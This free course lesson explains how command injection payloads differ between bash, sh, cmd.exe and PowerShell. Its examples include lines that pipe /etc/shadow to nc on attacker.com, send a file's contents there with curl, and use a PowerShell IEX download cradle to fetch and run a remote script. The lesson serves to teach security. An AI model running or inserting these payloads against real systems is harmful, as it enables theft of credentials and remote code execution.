Course contentsShow
← Security
Lesson 607 of 3,05213. Web Security - Injection AttacksFree lesson

Command Injection in Different Shells

Understanding syntax differences and exploitation techniques across bash, sh, PowerShell, and cmd.exe environments.

Command Injection in Different Shells

What you'll learn: How command injection exploits vary across bash, sh, PowerShell, and cmd.exe, and why shell syntax differences matter for successful attacks.

Why Shell Differences Matter

Think of shells like different spoken languages—while they all accomplish similar tasks (running commands), their grammar rules differ significantly. A command injection payload that works perfectly in Linux bash might fail completely in Windows cmd.exe, just like an English sentence doesn't work in German without translation.

Bash and sh (Unix/Linux)

Bash and sh share similar syntax but bash offers more features. Both use familiar metacharacters like ; && || | for command chaining, and both support command substitution with backticks or $():

; whoami
&& cat /etc/passwd
| nc attacker.com 4444 < /etc/shadow
`curl http://attacker.com?data=$(cat secret.txt)`

Bash adds process substitution <() and advanced features that can be exploited if present.

cmd.exe (Windows Classic)

Windows Command Prompt uses different separators and has quirks:

  • Pipe: | (same as Unix)
  • Command chaining: & (single, not double)
  • Conditional: && (on success) and || (on failure)
  • Command substitution doesn't use backticks
& whoami
| findstr "password" > output.txt
&& dir C:\Users

PowerShell (Modern Windows)

PowerShell is object-oriented and uses different syntax:

  • Semicolon: ; for command separation
  • Pipe: | passes objects, not text
  • Command substitution: $() or backticks for line continuation
  • Execution: Invoke-Expression or IEX
; Get-Process
| Select-Object Name
; IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

Key Takeaway: Successful command injection requires knowing your target's shell environment—test for OS fingerprinting first, then craft payloads using that shell's specific syntax, metacharacters, and built-in commands.